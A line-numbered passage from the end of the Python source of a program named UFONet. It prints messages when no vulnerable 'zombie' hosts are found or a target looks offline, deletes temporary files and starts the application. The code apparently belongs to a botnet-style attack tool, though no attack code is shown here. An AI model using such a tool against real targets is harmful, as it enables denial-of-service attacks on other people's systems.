  4813. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  4814. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  4815. if os.path.exists('mothership') == True:
  4816. os.remove('mothership') # remove mothership stream
  4817. if os.path.exists('alien') == True:
  4818. os.remove('alien') # remove random alien worker
  4819. if not options.web:
  4820. sys.exit(2) # exit
  4821. else:
  4822. return
  4823. else:
  4824. print("\n" + '='*21)
  4825. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  4826. if AI_reply == "y" or AI_reply == "Y":
  4827. self.AI() # AI fortune cookie
  4828. print('-'*21+ "\n")
  4829. print("\n[AI] "+self.exit_msg+"\n")
  4830. if os.path.exists('mothership') == True:
  4831. os.remove('mothership') # remove mothership stream
  4832. if os.path.exists('alien') == True:
  4833. os.remove('alien') # remove random alien worker
  4834. if not options.web:
  4835. sys.exit(2) # exit
  4836. else:
  4837. return
  4838. else:
  4839. if not options.attackme:
  4840. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  4841. else:
  4842. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  4843. print("\n" + '-'*21)
  4844. print("\n[AI] "+self.exit_msg+"\n")
  4845. if os.path.exists('mothership') == True:
  4846. os.remove('mothership') # remove mothership stream
  4847. if os.path.exists('alien') == True:
  4848. os.remove('alien') # remove random alien worker
  4849. return
  4850. if __name__ == "__main__":
  4851. app = UFONet()
  4852. options = app.create_options()
  4853. if options:
  4854. app.run()